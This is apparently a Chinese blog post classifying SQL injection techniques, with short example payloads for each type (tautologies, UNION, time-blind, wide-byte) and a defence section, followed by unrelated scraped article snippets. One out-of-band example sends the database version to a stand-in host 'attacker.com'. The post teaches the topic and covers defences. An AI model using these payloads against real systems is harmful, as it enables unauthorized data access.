当前位置: 首页 > news >正文

总结-SQL注入分类手法注入漏洞总结性分化说明

目录

关键要点

按参数类型分类

按提交方式分类

按反馈结果分类

其他高级注入类型

最新漏洞动态

防御措施

调查笔记:SQL注入类型与详细分析

一、按参数类型分类

二、按提交方式分类

三、按反馈结果分类

四、其他高级注入类型

五、最新漏洞动态

六、防御措施

总结

关键引用


关键要点

  • SQL注入类型按参数类型、提交方式、反馈结果和其他高级类型分类,涵盖多种攻击场景。

  • 每个类型都有具体示例语句,方便识别和测试。

  • 防御措施包括使用参数化查询、输入验证和定期安全审计。


按参数类型分类

SQL注入根据参数类型可分为数字型、字符型和搜索型注入。以下是详细说明和示例语句:

  • 数字型注入:针对数值字段的注入,常见于ID参数。

    • 示例语句:id=1 OR 1=1

    • 说明:通过在数值字段中注入逻辑条件,绕过限制。

  • 字符型注入:针对字符串字段的注入,常见于用户名或密码输入。

    • 示例语句:username=' OR 1=1 --

    • 说明:利用单引号闭合字符串,执行额外SQL逻辑。

  • 搜索型注入:针对搜索功能的注入,常见于模糊查询。

    • 示例语句:product_name='anything' OR 1=1

    • 说明:通过搜索条件注入,获取更多数据。

按提交方式分类

根据提交方式,SQL注入可分为GET、POST和Cookie/HTTP头注入:

  • GET注入:通过URL参数提交,易于测试。

    • 示例语句:http://example.com/page.php? id=1' OR 1=1 --

    • 说明:直接在URL中注入,适合公开参数。

  • POST注入:通过表单数据提交,隐藏性较高。

    • 示例语句:用户名字段输入' OR 1=1 --,密码任意

    • 说明:常用于登录表单,需抓包分析。

  • Cookie/HTTP头注入:通过Cookie或HTTP头字段注入。

    • 示例语句:Cookie user_id=1' OR 1=1 --

    • 说明:利用非标准字段,绕过前端验证。

按反馈结果分类

根据反馈方式,SQL注入可分为报错注入、布尔盲注、时间盲注和联合查询注入:

  • 报错注入:通过触发数据库错误获取信息。

    • 示例语句:SELECT * FROM table WHERE column = 'some_value' AND (SELECT * FROM information_schema.tables) --

    • 说明:利用错误信息泄露数据库结构。

  • 布尔盲注:根据页面真假响应推断信息。

    • 示例语句:admin' and (select ascii(substr(database(),1,1)) > 100 --

    • 说明:通过条件判断页面行为,逐步提取数据。

  • 时间盲注:通过延时判断条件真假。

    • 示例语句:id=1 AND (SELECT BENCHMARK(1000000, MD5('a'))) --

    • 说明:若响应延迟,说明条件成立。

  • 联合查询注入:通过UNION操作合并结果集。

    • 示例语句:id=-1 UNION SELECT 1,2,3 FROM users --

    • 说明:获取额外数据,需匹配列数。

其他高级注入类型

包括堆叠注入、二次注入、宽字节注入和带外注入:

  • 堆叠注入:执行多条SQL语句。

    • 示例语句:id=1; SELECT * FROM users --

    • 说明:分号分隔多条命令,需数据库支持。

  • 二次注入:存储后延迟执行的注入。

    • 说明:数据存储后在后续查询中触发,无直接语句示例。

  • 宽字节注入:利用编码差异绕过过滤。

    • 示例语句:username=%df%27 OR 1=1 --

    • 说明:GBK编码中,%df与转义符结合生效。

  • 带外注入:通过网络请求泄露数据。

    • 示例语句:SELECT LOAD_FILE(CONCAT('http://attacker.com/', @@version)) --

    • 说明:利用数据库功能与外部通信。

最新漏洞动态

近期SQL注入攻击趋势包括针对新框架的漏洞利用和高级混淆技术,需关注OWASP TOP 10更新。

防御措施

  • 使用参数化查询,分离SQL代码与用户输入。

  • 验证并清理所有输入,防止恶意数据。

  • 数据库账户遵循最小权限原则。

  • 定期进行安全审计和渗透测试。


调查笔记:SQL注入类型与详细分析

SQL注入是一种常见的Web安全漏洞,攻击者通过注入恶意SQL代码,操纵数据库查询以获取敏感信息、执行非法操作或破坏系统。以下按分类详细分析各类型及其示例语句,涵盖参数类型、提交方式、反馈结果和其他高级类型,并补充防御策略。

一、按参数类型分类

SQL注入根据参数类型可分为数字型、字符型和搜索型注入,具体如下:

  1. 数字型注入

    • 定义:针对预期为数字的输入字段(如ID参数),攻击者注入SQL逻辑。

    • 特点:无需闭合引号,常见于URL参数。

    • 示例语句id=1 OR 1=1

      • 解释:通过逻辑条件OR 1=1使查询始终为真,返回所有记录。

      • 应用场景:产品详情页,如http://example.com/product.php?id=1 OR 1=1

    • 检测方法:观察页面返回异常数据或所有记录。

  2. 字符型注入

    • 定义:针对字符串输入字段(如用户名、密码),利用引号闭合注入SQL。

    • 特点:需处理引号闭合,常见于表单输入。

    • 示例语句username=' OR 1=1 --

      • 解释:单引号闭合原字符串,--注释剩余条件,使查询为真。

      • 应用场景:登录表单,攻击者输入' OR 1=1 --作为用户名。

    • 检测方法:页面返回登录成功或异常数据。

  3. 搜索型注入

    • 定义:针对搜索功能(如模糊查询),注入SQL逻辑扩大结果集。

    • 特点:常涉及LIKE操作符,易被利用。

    • 示例语句product_name='anything' OR 1=1

      • 解释:通过OR 1=1使搜索条件始终成立,返回所有产品。

      • 应用场景:搜索栏,如http://example.com/search?q=anything' OR 1=1

    • 检测方法:搜索结果异常扩大。

二、按提交方式分类

根据数据提交方式,SQL注入可分为GET、POST和Cookie/HTTP头注入:

  1. GET注入

    • 定义:通过URL参数提交,易于测试和记录。

    • 特点:参数公开,适合自动化工具。

    • 示例语句http://example.com/page.php? id=1' OR 1=1 --

      • 解释:URL中注入,--注释剩余查询。

      • 应用场景:分页或详情页参数。

    • 检测方法:修改URL参数,观察页面变化。

  2. POST注入

    • 定义:通过表单数据提交,隐藏性较高。

    • 特点:需抓包工具(如Burp Suite)分析。

    • 示例语句:用户名字段输入' OR 1=1 --,密码任意

      • 解释:POST数据中注入,适合登录或注册表单。

      • 应用场景:用户注册、登录接口。

    • 检测方法:抓包修改POST数据,观察响应。

  3. Cookie/HTTP头注入

    • 定义:通过Cookie值或HTTP头字段(如User-Agent)注入。

    • 特点:非标准输入,绕过前端验证。

    • 示例语句:Cookie user_id=1' OR 1=1 --

      • 解释:利用Cookie存储注入逻辑。

      • 应用场景:会话管理或身份验证。

    • 检测方法:修改Cookie值,观察页面行为。

三、按反馈结果分类

根据攻击反馈方式,SQL注入可分为报错注入、布尔盲注、时间盲注和联合查询注入:

  1. 报错注入(Error-based)

    • 定义:通过触发数据库错误获取信息,如表名、列名。

    • 特点:依赖错误信息显示,常见于开发环境。

    • 示例语句SELECT * FROM table WHERE column = 'some_value' AND (SELECT * FROM information_schema.tables) --

      • 解释:触发错误,泄露数据库元数据。

      • 应用场景:未关闭错误回显的系统。

    • 检测方法:观察页面返回SQL错误信息。

  2. 布尔盲注(Boolean-based Blind)

    • 定义:根据页面真假响应推断信息,无直接错误输出。

    • 特点:需逐字符猜解,效率较低。

    • 示例语句admin' and (select ascii(substr(database(),1,1)) > 100 --

      • 解释:通过ASCII值比较判断数据库名首字符。

      • 应用场景:无错误回显的系统。

    • 检测方法:观察页面行为差异(如登录成功/失败)。

  3. 时间盲注(Time-based Blind)

    • 定义:通过延时函数判断条件真假,无直接输出。

    • 特点:依赖响应时间,适合高延迟环境。

    • 示例语句id=1 AND (SELECT BENCHMARK(1000000, MD5('a'))) --

      • 解释:若条件真,响应延迟(如MySQL的BENCHMARK)。

      • 应用场景:无错误回显,需时间差分析。

    • 检测方法:比较请求响应时间。

  4. 联合查询注入(Union-based)

    • 定义:通过UNION操作合并结果集,获取额外数据。

    • 特点:需匹配列数,适合有回显的系统。

    • 示例语句id=-1 UNION SELECT 1,2,3 FROM users --

      • 解释:将注入结果与原查询合并显示。

      • 应用场景:列表页或详情页有数据回显。

    • 检测方法:观察页面返回额外数据。

四、其他高级注入类型

包括堆叠注入、二次注入、宽字节注入和带外注入:

  1. 堆叠注入(Stacked Queries)

    • 定义:执行多条SQL语句,需数据库支持。

    • 特点:分号分隔,适合修改数据。

    • 示例语句id=1; SELECT * FROM users --

      • 解释:执行多条命令,需数据库允许堆叠查询。

      • 应用场景:修改或删除数据。

    • 检测方法:观察数据变化或错误。

  2. 二次注入(Second-order)

    • 定义:注入数据存储后,在后续查询中触发。

    • 特点:延迟执行,需分析数据流。

    • 说明:无直接语句示例,因依赖应用逻辑。

  3. 宽字节注入

    • 定义:利用编码差异(如GBK)绕过过滤。

    • 特点:常见于老系统,%df与转义符结合。

    • 示例语句username=%df%27 OR 1=1 --

      • 解释:GBK编码中,%df使单引号生效。

      • 应用场景:未统一编码的系统。

    • 检测方法:测试特殊编码输入。

  4. 带外注入(OOB)

    • 定义:通过数据库功能与外部通信,泄露数据。

    • 特点:需网络可达,适合高隐蔽性。

    • 示例语句SELECT LOAD_FILE(CONCAT('http://attacker.com/', @@version)) --

      • 解释:利用LOAD_FILE与DNS日志结合。

      • 应用场景:防火墙允许外连。

    • 检测方法:监控DNS请求或外部响应。

五、最新漏洞动态

截至2025年3月7日,SQL注入攻击趋势包括:

  • 针对新兴框架(如GraphQL)的注入,利用复杂查询结构。

  • 高级混淆技术,如多重编码和DNS带外通信。

  • OWASP TOP 10(OWASP Top 10)持续更新,强调输入验证的重要性。

六、防御措施
  • 参数化查询:使用预编译语句,分离SQL代码与输入,如JDBC的PreparedStatement。

  • 输入验证:对所有用户输入进行白名单验证,过滤特殊字符。

  • 最小权限:数据库账户仅授予必要权限,限制操作范围。

  • 定期审计:使用工具如SQLMap进行渗透测试,结合代码审查。

  • WAF部署:配置WAF规则检测SQL关键字,结合行为分析。

总结

SQL注入类型多样,攻击手法随防护技术演进不断变化。实际工作中需结合代码审计、自动化工具及安全开发规范(如OWASP TOP 10)综合防御。


关键引用

  • OWASP Top 10 Security Risks

相关文章:

总结-SQL注入分类手法注入漏洞总结性分化说明

目录 关键要点 按参数类型分类 按提交方式分类 按反馈结果分类 其他高级注入类型 最新漏洞动态 防御措施 调查笔记:SQL注入类型与详细分析 一、按参数类型分类 二、按提交方式分类 三、按反馈结果分类 四、其他高级注入类型 五、最新漏洞动态 六、防御…...

Linux:进程的创建进程的终止

进程的创建 fork fork是c语言中的一个函数&#xff0c;用于创建新的子进程&#xff0c;它存放在<unistd.h>的头文件中 当我们运行程序时&#xff0c;如果使用了fork函数那么就会为这个进程创建一个它的子进程&#xff0c;这个子进程会继承父进程的所有数据和代码&…...

[C#]反射的实战应用,实际数据模拟

long? value null; // 看它是不是 HEX_STRING var dtAttr prop.GetCustomAttribute<DataTypeAttribute>(); if (dtAttr ! null && dtAttr.DataType DataType.HEX_STRING) {// 去掉可能的 "0x" 前缀string txt attribute.Value.StartsWith("0…...

机器人灵巧手有刷与无刷空心杯电机解析

一、电机结构分析 (一)有刷空心杯电机结构 有刷空心杯电机主要由上壳、碳刷、连接板、换向器线圈、外壳、轴承、永磁体、下壳及轴承密封圈组成。碳刷与换向器直接接触,负责传导电流,使线圈在永磁体产生的磁场中受力转动。这种机械换向方式虽直接,但碳刷磨损会影响电机寿命…...

JetBrains GoLang IDE无限重置试用期,适用最新2025版

注意本文仅用于学习使用&#xff01;&#xff01;&#xff01; 本文在重置2024.3.5版本亲测有效&#xff0c;环境为window(mac下应该也一样奏效) 之前eval-reset插件只能在比较低的版本才能起作用。 总结起来就一句&#xff1a;卸载重装&#xff0c;额外要删掉旧安装文件和注册…...

【网络应用程序设计】实验四:物联网监控系统

个人博客&#xff1a;https://alive0103.github.io/ 代码在GitHub&#xff1a;https://github.com/Alive0103/XDU-CS-lab 能点个Star就更好了&#xff0c;欢迎来逛逛哇~❣ 主播写的刚够满足基本功能&#xff0c;多有不足&#xff0c;仅供参考&#xff0c;还请提PR指正&#xff…...

第六章:安全最佳实践

Chapter 6: 安全最佳实践 &#x1f31f; 从上一章到本章 在第五章&#xff1a;框架/工具抽象中&#xff0c;我们学会了如何用框架快速搭建MCP服务器。现在想象这样一个场景&#xff1a;你的文件服务器已经开发完成&#xff0c;但突然发现恶意用户能通过路径遍历攻击访问系统文…...

最高支持高速L3商用,华为发布ADS 4智驾系统

作者 |张马也 编辑 |德新 4月22日&#xff0c;华为在上海召开乾崑智能技术大会。 会上&#xff0c;华为正式推出乾崑智驾ADS 4、鸿蒙座舱HarmonySpace 5、乾崑车控XMC数字底盘引擎等一系列智能汽车解决方案。 其中最为重磅的是&#xff0c;华为正式发布高速L3商用解决方案&a…...

[创业之路-382]:企业法务 - 企业如何通过技术专利与技术秘密保护自己

企业通过技术专利与技术秘密保护自身创新成果是构建核心竞争力的关键策略。以下从技术专利和技术秘密两大维度&#xff0c;系统阐述其保护路径及实施要点&#xff1a; 一、技术专利保护策略 1. 专利布局规划 核心专利&#xff1a;针对核心技术进行专利申请&#xff0c;构建基…...

多路转接epoll原理详解

目录 从epoll接口入手 创建epoll模型 用户告诉内核关心的事件 内核告诉用户就绪的事件 epoll的原理 整体思路 如何判断事件是否就绪 事件就绪后如何实现将节点插入就绪队列 从epoll接口入手 本篇文章从epoll的三个接口入手介绍epoll的具体工作原理 创建epoll模型 #in…...

基于 MCP用 Python 搭建 “大模型网关”在 MCP 服务器端聚合多个大模型的 API,将其统一为 MCP 协议接口

下面给出基于 MCP(Model-Connection-Protocol)设计思想,用 Python 搭建 “大模型网关” 的典型开发流程。整体思路是:在 MCP 服务器端聚合多个大模型的 API,将其统一为 MCP 协议接口;在客户端按需调用这些统一后的接口。总结如下: 概要: 需求与架构定位:Clarify 要接入…...

Linux的时间函数

ucos中有systick这个系统时间滴答&#xff0c;那linux中有没有这种系统时间滴答呢&#xff1f;有&#xff0c;jiffies&#xff0c;但是用户空间不可以使用。那么在linux中除了使用timer定时器进行定时&#xff0c;可以通过时间滴答的方式来进行粗略的计时吗&#xff1f;下面介绍…...

JCE cannot authenticate the provider BC

本地使用了加密类、并且运行正常、 用hutool做RSA加密时候出现这个问题的! import cn.hutool.core.codec.Base64; import cn.hutool.core.util.ArrayUtil; import cn.hutool.core.util.StrUtil; import cn.hutool.crypto.SecureUtil; import cn.hutool.crypto.SmUtil; import…...

4.1 融合架构设计:LLM与Agent的协同工作模型

大型语言模型&#xff08;Large Language Models, LLMs&#xff09;与智能代理&#xff08;Agent&#xff09;的融合架构已成为人工智能领域推动企业智能化的核心技术。这种协同工作模型利用LLM的语言理解、推理和生成能力&#xff0c;为Agent提供强大的知识支持&#xff0c;而…...

【Spec2MP:项目管理之项目风险管理】

在半导体行业竞争白热化的今天&#xff0c;一颗芯片从设计到量产的旅程犹如跨越重重险峰。据行业数据显示&#xff0c;30%的芯片项目因未及时识别风险导致延期交付&#xff0c;而55%的成本超支源于前期风险评估不足。这背后折射出一个核心命题&#xff1a;如何在复杂的技术攻关…...

【Axure教程】表格嵌套卡片

今天教大家制作表格嵌套卡片的原型模版&#xff0c;可以点击加号或减号展开或收起对应部门下的员工卡片信息。这个表格是用中继器制作的&#xff0c;所以使用也很方便&#xff0c;在中继器表格里维护数据&#xff0c;即可自动生成交互效果&#xff0c;具体效果可以打开下方原型…...

无人机动力核心测评:CKESC STONE 180A-M 电调

一、核心技术优势&#xff1a;全场景适配的智能控制方案 作为南昌长空科技的工业级产品&#xff0c;南昌长空的STONE 180A-M 电调以高可靠启动算法为核心&#xff0c;支持 6-14S 锂电输入&#xff0c;具备逆风启动稳定性与剧变油门抗丢相能力&#xff0c;实测油门响应时间 300…...

【回眸】Aurix TC397 IST 以太网 UDP 相关开发

前言 关于移植IST功能至 Infineon TC397上主要涉及到UDP发送报文及接收。IST是安全诊断相关的工作 Nvidia IST介绍 Orin系列芯片会提供一种机制来检测由系统内测&#xff08;IST&#xff09;所产生的永久的故障&#xff0c;IST 应该在 Orin-x 功能安全系统中使用期间被启动。…...

C语言别踩白块附源码

复制即可使用 #define _CRT_SECURE_NO_WARNINGS//一定要放在第一行 #include<stdio.h>//引用输入输出头文件&#xff0c;每一次都需要引用这个文件 #include<math.h> #include<string.h> #include<ctype.h> #include<stdlib.h> #include<io…...

centos7里memcached 的安装使用

memcahced 的概述 Memcached是一个自由开源的&#xff0c;高性能&#xff0c;分布式内存对象缓存系统。 Memcached是以LiveJournal旗下Danga Interactive公司的Brad Fitzpatric为首开发的一款软件。现在已成为mixi、hatena、Facebook、Vox、LiveJournal等众多服务中提高Web应…...

深入理解指针(3)

1.指针的使⽤和传址调⽤ 1.strlen的模拟实现 库函数strlen的功能是求字符串⻓度&#xff0c;统计的是字符串中\0 之前的字符的个数。函数原型如下&#xff1a; 参数str接收⼀个字符串的起始地址&#xff0c;然后开始统计字符串中 \0 之前的字符个数&#xff0c;最终返回⻓度。…...

第十届电气、电子和计算机工程研究国际学术研讨会(ISAEECE 2025)

重要信息 官网&#xff1a;www.isaeece.com&#xff08;点击了解参会投稿等&#xff09; 时间&#xff1a;2025年6月20-22日 地点&#xff1a;中国 ▪ 西安 征稿主题 电气、电子和计算机工程&#xff08;Electrical, Electronics and Computer Engineering, EECE&#xff09…...

RabbitMQ 中的队列声明

目录 一、为什么要声明队列&#xff1f;二、声明队列的基本语法参数说明 三、声明队列的示例代码示例 1&#xff1a;声明一个普通的队列示例 2&#xff1a;声明一个持久化队列示例 3&#xff1a;声明一个带 TTL 的队列 四、注意事项五、总结 在 RabbitMQ 中&#xff0c;队列是消…...

unity Animation学习,精准控制模型动画播放

unity 控制模型动画播放&#xff0c;Animation学习。 此脚本挂载在带有动画的模型上。 using System.Collections; using System.Collections.Generic; using UnityEngine;public class AnimationCtrl : MonoBehaviour {void Start(){PlayAnimation();//开始的时候调用播放动…...

大模型面经 | 春招、秋招算法面试常考八股文附答案(六)

大家好,我是皮先生!! 今天给大家分享一些关于大模型面试常见的面试题,希望对大家的面试有所帮助。 往期回顾: 大模型面经 | 春招、秋招算法面试常考八股文附答案(RAG专题一) 大模型面经 | 春招、秋招算法面试常考八股文附答案(RAG专题二) 大模型面经 | 春招、秋招算法…...

【深度学习】#9 现代循环神经网络

主要参考学习资料&#xff1a; 《动手学深度学习》阿斯顿张 等 著 【动手学深度学习 PyTorch版】哔哩哔哩跟李牧学AI 概述 门控循环单元和长短期记忆网络利用门控机制实现对序列输入的选择性记忆。深度循环神经网络堆叠多个循环神经网络层以实现更强的表达能力和特征提取能力。…...

《CBOW 词向量转化实战:让自然语言处理 “读懂” 文字背后的含义》

文章目录 前言一、自然语言模型统计语言模型存在的问题总结&#xff1a;这两个问题的本质&#xff0c;第一个是"容量问题"&#xff1a;模型记忆力有限&#xff1b;第二个是"理解力问题"&#xff1a;模型缺乏抽象能力。 二、词向量转换1.onehot编码编码过程…...

网络变更:APIC 节点替换

Draft 一、同版本硬件更换 1. 查看 APIC 状态 System > Controllers > (any APIC) > Cluster APIC1> acidiag avread // APIC 参数 2. 下线故障设备 Actions > Decommission 3. 物理移除故障设备,连接目标 APIC 4. 根据第一步中的配置参数配置目…...

Java在excel中导出动态曲线图DEMO

1、环境 JDK8 POI 5.2.3 Springboot2.7 2、DEMO pom <dependency><groupId>org.apache.poi</groupId><artifactId>poi-ooxml</artifactId><version>5.2.3</version></dependency><dependency><groupId>commons…...

Python爬虫爬取图片并存储到MongoDB(注意:仅尝试存储一条空的示例数据到MongoDB,验证MongoDB的联通性)

以下是一个使用Python爬取图片并存储到MongoDB的示例实现&#xff0c;包含详细步骤说明&#xff1a; import requests from bs4 import BeautifulSoup from pymongo import MongoClient from datetime import datetime import os import re# 配置信息 mongoIP mongodb://root…...

Qt —— 在Linux下试用QWebEngingView出现的Js错误问题解决(附上四种解决办法)

错误提示:js: A parser-blocking, cross site (i.e. different eTLD+1) script, https:xxxx, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If bloc…...

240424 leetcode exercises II

240424 leetcode exercises II jarringslee 文章目录 240424 leetcode exercises II[148. 排序链表](https://leetcode.cn/problems/sort-list/)&#x1f501;分治 & 归并排序法1. 找中点并断开2. 合并两个有序链表3. 主函数&#xff1a;递归拆分与合并 [24. 两两交换链表…...

STM32实现2小时延时的最佳方法探讨

在嵌入式系统开发中&#xff0c;特别是使用STM32这类微控制器时&#xff0c;实现精确的长时间延时是一项常见但具有挑战性的任务。延时的方法选择不仅影响系统的性能和功耗&#xff0c;还关系到系统的稳定性和可靠性。本文将探讨在STM32上实现2小时延时的几种方法&#xff0c;并…...

G3学习笔记

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 准备工作 import torch import numpy as np import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torc…...

初识Redis · 主从复制(上)

目录 前言&#xff1a; 主从模式 模拟主从模式 连接信息 slaveof命令 nagle算法 Nagle算法的工作原理&#xff1a; 具体实现&#xff1a; 优点&#xff1a; 缺点&#xff1a; 使用场景&#xff1a; 拓扑结构 前言&#xff1a; 主从复制这里算得上是一个大头了&…...

欧拉计划 Project Euler55(利克瑞尔数)题解

欧拉计划 Project Euler 55 题解 题干思路code 题干 思路 直接暴力找即可&#xff0c;若使用其他语言要注意溢出的问题&#xff0c;这里我使用的手写大数加法 code // 249 #include <bits/stdc.h>using namespace std;using ll long long;string add(const string&am…...

关于nginx,负载均衡是什么?它能给我们的业务带来什么?怎么去配置它?

User 关于nginx&#xff0c;我还想知道&#xff0c;负载均衡是什么&#xff1f;它能为我的业务带来什么&#xff1f;怎么去配置它&#xff1f; Assistant 负载均衡是 Nginx 另一个非常强大的功能&#xff0c;也是构建高可用、高性能应用的关键技术之一。我们来详细了解一下。 …...

【项目管理】进度网络图 笔记

项目管理-相关文档&#xff0c;希望互相学习&#xff0c;共同进步 风123456789&#xff5e;-CSDN博客 &#xff08;一&#xff09;知识总览 项目管理知识域 知识点&#xff1a; &#xff08;项目管理概论、立项管理、十大知识域、配置与变更管理、绩效域&#xff09; 对应&…...

【C++QT】Buttons 按钮控件详解

文章目录 一、QPushButton 基础按钮控件二、QToolButton 轻量工具按钮控件三、QRadioButton 互斥选择控件四、QCheckBox 状态选择控件五、QCommandLinkButton 引导式按钮控件六、QDialogButtonBox 对话框按钮布局控件七、实践与选型建议八、总结如果这篇文章对你有所帮助&#…...

威雅利电子|业界领先的高隔离度用于5G基站的吸收式SPDT开关“NT1819“

业界领先的高隔离度 用于5G基站的吸收式SPDT开关"NT1819" 为了实现智能社会&#xff0c;已经启动了5G服务。这样&#xff0c;高速、低延迟、大容量的数据通信成为可能&#xff0c;也给我们的生活和工业发展带来了巨大的变化。 在5G基站有很多天线&#xff0c;每个天…...

【DNS】BIND 9的配置

该文档围绕BIND 9的配置与区域文件展开&#xff0c;介绍了BIND 9配置文件及区域文件的相关知识&#xff0c;以及权威名称服务器、解析器的相关内容&#xff0c;还阐述了负载均衡和区域文件的详细知识&#xff0c;具体如下&#xff1a; 基础配置文件&#xff1a; named.conf&am…...

高可靠性厚铜板制造的关键设备与工艺投入

随着科技的不断发展&#xff0c;电子设备越来越普及&#xff0c;对电路板的需求也越来越大。厚铜板电路板作为一种高性能、高可靠性的电路板&#xff0c;受到了广泛的关注和应用。那么&#xff0c;作为一家厚铜板电路板供应商&#xff0c;如何投入线路板生产呢&#xff1f;本文…...

m365是什么,和o365的区别

M365&#xff08;Microsoft 365&#xff09;是微软推出的基于云的办公套件&#xff0c;包含多种生产力工具&#xff0c;旨在帮助个人和企业提高工作效率。它包括经典的办公软件&#xff0c;如Word、Excel、PowerPoint、Outlook等&#xff0c;还提供协作和云存储服务&#xff0c…...

【Pandas】pandas DataFrame dot

Pandas2.2 DataFrame Binary operator functions 方法描述DataFrame.add(other)用于执行 DataFrame 与另一个对象&#xff08;如 DataFrame、Series 或标量&#xff09;的逐元素加法操作DataFrame.add(other[, axis, level, fill_value])用于执行 DataFrame 与另一个对象&…...

技术服务业-首套运营商网络路由5G SA测试专网在深光搭建完成并对外提供服务

深光为了更好的服务蜂窝无线技术及运营商测试认证相关业务&#xff0c;搭建了技术服务业少有的5G测试专网&#xff0c;可独立灵活配置、完整端到端5G&#xff08;含RedCap、LAN&#xff09;的网络架构。 通过走真正运营商网络路由的方式&#xff0c;使终端设备的测试和运营商网…...

GrassRouter 小草MULE多5G多链路聚合通信路由设备在应急场景的聚合效率测试报告及解决方案

在应急通信场景中&#xff0c;快速、稳定、高效的通信链路是保障救援工作顺利开展的关键。MULE&#xff08;Multi-Link Unified Link Enhancement&#xff09;多链路聚合路由通信设备作为一种新型的通信技术解决方案&#xff0c;通过聚合多条通信链路&#xff08;如4G/5G、卫星…...

解释器模式:自定义语言解析与执行的设计模式

解释器模式&#xff1a;自定义语言解析与执行的设计模式 一、模式核心&#xff1a;定义语言文法并实现解释器处理句子 在软件开发中&#xff0c;当需要处理特定领域的语言&#xff08;如数学表达式、正则表达式、自定义配置语言&#xff09;时&#xff0c;可以通过解释器模式…...

第十二章 Python语言-大数据分析PySpark(终)

目录 一. PySpark前言介绍 二.基础准备 三.数据输入 四.数据计算 1.数据计算-map方法 2.数据计算-flatMap算子 3.数据计算-reduceByKey方法 4.数据计算-filter方法 5.数据计算-distinct方法 6.数据计算-sortBy方法 五.数据输出 1.输出Python对象 &#xff08;1&am…...

Oracle数据库巡检脚本

1.查询实例信息 SELECT INST_ID, INSTANCE_NAME, TO_CHAR(STARTUP_TIME, YYYY-MM-DD HH24:MI:SS) AS STARTUP_TIME FROM GV$INSTANCE ORDER BY INST_ID; 2.查看是否归档 archive log list 3.查看数据库参数 SELECT NAME , TYPE , VALUE FROM V$PARAMETER ORDER BY NAME; 4.…...

示例:Spring JDBC编程式事务

以下是一个完整的 Spring JDBC 编程式事务示例&#xff0c;包含批量插入、事务管理、XML 配置和单元测试&#xff1a; 1. 项目依赖&#xff08;pom.xml&#xff09; <dependencies><!-- Spring JDBC --><dependency><groupId>org.springframework<…...